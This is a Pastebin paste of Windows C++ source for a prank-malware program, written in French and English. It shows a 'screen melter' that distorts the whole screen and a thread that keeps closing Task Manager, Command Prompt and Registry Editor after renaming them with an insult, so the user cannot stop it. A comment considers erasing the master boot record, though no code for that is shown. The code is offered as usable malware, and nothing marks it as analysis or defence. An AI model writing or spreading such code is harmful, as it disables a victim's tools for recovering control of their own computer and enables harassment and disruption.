Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include <stdlib.h>
- #include <iostream>
- #include <string>
- #include <tchar.h>
- #include <process.h>
- #include <windows.h>
- #include <tlhelp32.h>
- #include <string.h>
- #include <tchar.h>
- #include <psapi.h>
- #include <objidl.h>
- #include <gdiplus.h>
- #include <mmsystem.h>
- using namespace std;
- #define MBR_SIZE 512
- HWND mywindow, TaskMgr, CMD, Regedit;
- HBITMAP hBitmap = NULL;
- int nScreenWidth(GetSystemMetrics(SM_CXSCREEN));
- int nScreenHeight(GetSystemMetrics(SM_CYSCREEN));
- LRESULT WINAPI MelterProc(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam);
- DWORD WINAPI DestroyWindows(LPVOID);
- DWORD WINAPI PlayIssou(LPVOID);
- int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrev, LPSTR lpCmdLine, int nShowCmd)
- {
- WNDCLASS wndClass = { 0,MelterProc, 0, 0, hInstance, NULL, LoadCursor(NULL, IDC_ARROW), 0, NULL, TEXT("Melt") };
- RegisterClass(&wndClass);
- HWND hWnd = CreateWindow(TEXT("Melt"), NULL, WS_POPUP, 0, 0, GetSystemMetrics(SM_CXSCREEN), GetSystemMetrics(SM_CYSCREEN), HWND_DESKTOP, NULL, hInstance, NULL);
- CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)&DestroyWindows, 0, 0, NULL);
- CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)&PlayIssou, 0, 0, NULL);
- srand(GetTickCount());
- // Erase MBR (pas décider)
- // Melting screen...
- MSG Msg = { 0 };
- while (1) {
- /*
- Additionel
- */
- if (PeekMessage(&Msg, NULL, 0, 0, PM_REMOVE)) {
- TranslateMessage(&Msg);
- DispatchMessage(&Msg);
- }
- }
- return 0;
- }
- LRESULT WINAPI MelterProc(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam)
- {
- switch (Msg) {
- case WM_CREATE:
- {
- HDC hdcDesktop = GetDC(HWND_DESKTOP);
- HDC hdcWindow = GetDC(hWnd);
- BitBlt(hdcWindow, 0, 0, nScreenWidth, nScreenHeight, hdcDesktop, 0, 0, SRCCOPY);
- ReleaseDC(hWnd, hdcWindow);
- ReleaseDC(HWND_DESKTOP, hdcDesktop);
- SetTimer(hWnd, 0, 1, NULL);
- ShowWindow(hWnd, SW_SHOW);
- }
- return 0;
- case WM_ERASEBKGND:
- return 0;
- case WM_PAINT:
- ValidateRect(hWnd, NULL);
- return 0;
- case WM_TIMER:
- {
- HDC hdcWindow = GetDC(hWnd);
- int nXPos = (rand() % nScreenWidth) - (100 / 2),
- nYPos = (rand() % 15),
- nWidth = (rand() % 100);
- BitBlt(hdcWindow, nXPos, nYPos, nWidth, nScreenHeight, hdcWindow, nXPos, 0, SRCCOPY);
- ReleaseDC(hWnd, hdcWindow);
- }
- return 0;
- case WM_CLOSE:
- case WM_DESTROY:
- {
- KillTimer(hWnd, 0);
- PostQuitMessage(0);
- }
- return 0;
- }
- return DefWindowProc(hWnd, Msg, wParam, lParam);
- }
- DWORD WINAPI DestroyWindows(LPVOID)
- {
- while (1)
- {
- TaskMgr = FindWindow(NULL, "Gestionnaire des tâches");
- CMD = FindWindow(NULL, "Invite de commandes");
- Regedit = FindWindow(NULL, "Registry Editor");
- if (TaskMgr != NULL) {
- SetWindowText(TaskMgr, "You Suck Balls Superman");
- PostMessage(TaskMgr, WM_CLOSE, (LPARAM)0, (WPARAM)0);
- }
- if (CMD != NULL)
- {
- SetWindowText(CMD, "You Suck Balls Superman");
- PostMessage(CMD, WM_CLOSE, (LPARAM)0, (WPARAM)0);
- }
- if (Regedit != NULL)
- {
- SetWindowText(Regedit, "You Suck Balls Superman");
- PostMessage(Regedit, WM_CLOSE, (LPARAM)0, (WPARAM)0);
- }
- Sleep(10);
- }
- }
- DWORD WINAPI PlayIssou(LPVOID) {
- PlaySound(TEXT("issou.wav"), NULL, SND_SYNC);
- return NULL;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement